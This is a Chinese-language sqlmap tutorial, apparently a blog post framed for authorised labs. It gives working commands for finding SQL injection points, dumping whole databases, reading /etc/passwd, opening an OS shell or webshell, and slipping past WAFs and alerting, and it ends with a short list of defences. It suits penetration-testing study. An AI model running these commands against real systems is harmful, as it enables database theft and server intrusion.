写在前面:合法学习边界
sqlmap 只用于授权靶场或明确授权的目标。对真实系统跑全功能注入、拖库可能触犯法律。
一、工具定位
sqlmap 是自动化检测和利用 SQL 注入的工具,支持多种注入类型:
1
2
3
4
| 基于布尔/时间/报错的盲注
联合查询、堆叠查询
POST/Header/Cookie 注入
数据库指纹、脱库、读写文件
|
二、基础用法
第一步:验证注入点
1
| sqlmap -u "http://目标/get.php?id=1" --batch
|
--batch 全自动确认,会检测是否存在注入、识别数据库类型。
指定注入方式与等级
1
2
3
4
5
6
| # 提高检测等级(更多测试点、更慢)
sqlmap -u "http://目标/?id=1" --level 3 --risk 2
# POST 注入
sqlmap -u "http://目标/login" --data "user=1&pass=1"
# Header/Cookie 注入
sqlmap -u "http://目标/" --headers "X-Forwarded-For: 1*"
|
控制注入类型
1
2
3
| # 只测布尔/时间盲注(不出网场景)
sqlmap -u "http://目标/?id=1" --technique BT
# 技术选项:B布尔 E报错 U联合 S堆叠 T时间
|
三、脱库流程
枚举数据库
1
| sqlmap -u "http://目标/?id=1" --dbs
|
枚举表与字段
1
2
| sqlmap -u "http://目标/?id=1" -D 数据库名 --tables
sqlmap -u "http://目标/?id=1" -D 数据库名 -T 表名 --columns
|
导出数据
1
2
3
| sqlmap -u "http://目标/?id=1" -D 数据库名 -T users --dump
# 一次全拖
sqlmap -u "http://目标/?id=1" --dump-all
|
断点续传与并发
1
| sqlmap -u "http://目标/?id=1" -D 库 -T 表 --dump --threads 5 --batch
|
四、进阶与绕过
读写文件(需要文件权限)
1
2
3
4
| # 读文件
sqlmap -u "http://目标/?id=1" --file-read "/etc/passwd"
# 写 webshell
sqlmap -u "http://目标/?id=1" --os-shell
|
绕过 WAF / 特征
1
2
3
4
| --random-agent # 随机 UA
--tamper=space2comment # 空格替换注释等绕过
--delay=1 # 限速降低告警
--time-sec=5 # 时间盲注延时
|
从请求文件跑
1
2
| # 先抓包存到 req.txt,再导入
sqlmap -r req.txt --batch
|
五、常见误区
1
2
3
4
| 一上来就 --dump-all,流量大又慢
不确认注入类型就全技术跑
忽略数据库账号权限,以为万能
不懂注入原理,只会套命令
|
六、检测与防御(对立面)
1
2
3
4
5
| 参数化查询 / 预处理(根本)
WAF 拦截注入特征
最小权限数据库账号
错误信息不回显
对异常长参数、注入关键字告警
|
七、小结
sqlmap 能省大量时间,但它只是工具。真正决定成败的是:注入点在哪个参数、数据库什么权限、能不能出网、要不要绕过。先手动确认注入,再让 sqlmap 自动化,才是正确姿势。